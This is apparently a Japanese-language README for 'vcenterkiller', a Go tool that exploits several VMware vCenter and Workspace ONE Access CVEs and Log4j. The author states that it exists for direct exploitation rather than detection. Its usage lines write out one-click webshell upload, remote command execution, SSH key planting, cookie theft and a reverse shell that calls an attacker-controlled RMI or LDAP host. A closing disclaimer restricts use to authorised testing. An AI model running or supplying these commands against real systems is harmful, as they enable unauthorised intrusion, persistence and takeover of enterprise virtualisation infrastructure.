schira4396/vcenterkillerVcenter向けの総合利用ツール。現在最も主流なCVE-2021-21972、CVE-2021-21985、CVE-2021-22005、One AccessのCVE-2022-22954、CVE-2022-22972/31656、およびlog4jを含みます。ワンクリックでwebshellをアップロード、コマンド実行、または公開鍵をアップロードしてSSHパスワードなし接続を提供します。
ローカル環境で脆弱性環境を構築している兄弟へ、vckillerでlog4jを検証するとほとんどの場合失敗します。それは、Vmware仮想マシン環境でNATモードを使用している場合、検証モジュールの出力ネットワークカードが127.0.0.1と判定されるため、ターゲットがアクセスするLDAPサーバーのアドレスが127.0.0.1になってしまい、検証が失敗するからです😏
バグに遭遇した場合はissueを上げてください。このツールは単に便利さのために作成したものであり、何か特別なものを含んでいるわけではありません。
Vcenter向けの総合的な検証ツールです。現在最も主流なCVE-2021-21972、CVE-2021-21985、CVE-2021-22005に対応しており、ワンクリックでのwebshellアップロード、コマンド実行、公開鍵のアップロードとSSH接続機能を提供します。また、Apache Log4j CVE-2021-44228脆弱性のVcenter上での検出および悪用（コマンド実行と結果の取得など）にも対応しています（ldap悪意サーバーは不要になりました）。LDAPサーバーを別途起動する必要はなくなりました。jndi-injectionツールを参考に、独自に悪用方法を実装しました。Vcenterが使用しているミドルウェアはTomcatなので、TomcatBypassの悪用チェーンを直接使用すれば良いです。
一般的にVcenterは内部ネットワークに設置され、脆弱性の特徴も広く知られています（fscanなどで簡単にスキャンできます）。そのため、VcenterKillerはターゲットに脆弱性が存在するかどうかを検出するためのものではなく、直接悪用を試みるためのものです。通常、CS/MSF経由で踏み台から実行されるため、余計な装飾的な出力は排除しています。
なぜGoなのか？Pythonは書きやすいですが使い勝手が悪く、依存ライブラリが多く、コンパイル後のサイズが大きくなります。C#はクロスプラットフォームに対応できないため、途中で断念しました。
go build -o main.exe
./main.exe -u https://192.168.1.1 -m 21985 -c whoami
./main.exe -u https://192.168.1.1 -m 22005 -f test.jsp
./main.exe -u https://192.168.1.1 -m 21972 -f test.jsp
./main.exe -u https://192.168.1.1 -m 21972 -f id_rsa.pub -t ssh //公開鍵をアップロード
./main.exe -u https://192.168.1.1 -m 21985 -t rshell -r rmi://xx.xx.xx.xx:1099/xx
./main.exe -u https://192.168.1.1 -m log4center -t scan // log4jスキャン
./main.exe -u https://192.168.1.1 -m log4center -t exec -r ldap://xx.xx.xx.xx:1389 -c whoami // ldapサービスを指定しなくても可
./main.exe -u https://xx.xx.com -m 22954 whoami
./main.exe -u https://xx.xx.com -m 22972 // cookie取得
./main.exe -u https://xx.xx.com -m 31656 // CVE-2022-22972が使えない場合はCVE-2022-31656を使用
本ツールは正当な権限を得た企業のセキュリティ構築行為、例えば社内の攻防演習、脆弱性検証および再テストを対象としています。本ツールの動作確認が必要な場合は、ご自身で標的環境を構築してください。
本ツールを使用して検証を行う場合、その行為が地域の法令に適合し、十分な権限を得ていることを確認してください。権限のないターゲットに対しては使用しないでください。
本ツールの使用中に違法行為が行われた場合、その責任はすべて利用者自身にあります。開発者は一切の法的責任および連帯責任を負いません。
V1.0 リリース
V1.1 CVE-2021-21985に対し、rmiを利用したリバースシェルの機能を追加。前提としてrmiサーバー（例：jndi-injection-exploit）を起動しておく必要があります。
V1.2 Vcenter向けのlog4j検出および検証機能を追加
V1.3 Vmware WorkSpace One Accessの脆弱性検証機能を追加。CVE-2022-22954 リモートコマンド実行、CVE-2022-22972、CVE-2022-31656 認証バイパス
V1.3.1 log4j検出時にポートを無視していた問題を修正。一部のサービスはデフォルトの443ポートを変更します。
V1.3.2 log4jの悪用方法を変更。tomcatbypassEchoを利用してコマンドを実行し結果を取得。vcenter 7.0 linuxでテスト済み。
V1.3.3 6.7と7.0のバージョンによる悪用の違いに対応。7.0ではtomcatbypassが必須、6.7では通常のbasicで問題なし
v1.3.4 log4jの検証ロジックを変更。現在のロジックは、5回異なるペイロードを無差別に送信し、結果が返ってくれば成功、なければ失敗
v1.3.5 log4jのJndi-Injection-Exploitへの依存を除去。直接コマンドを実行し結果を取得可能に
v1.3.6 21972のssh機能を修正し、その他の詳細を最適化
v1.3.7 プロキシ機能を追加。httpとsocksに対応
v1.3.8 未着手。機能追加を検討中...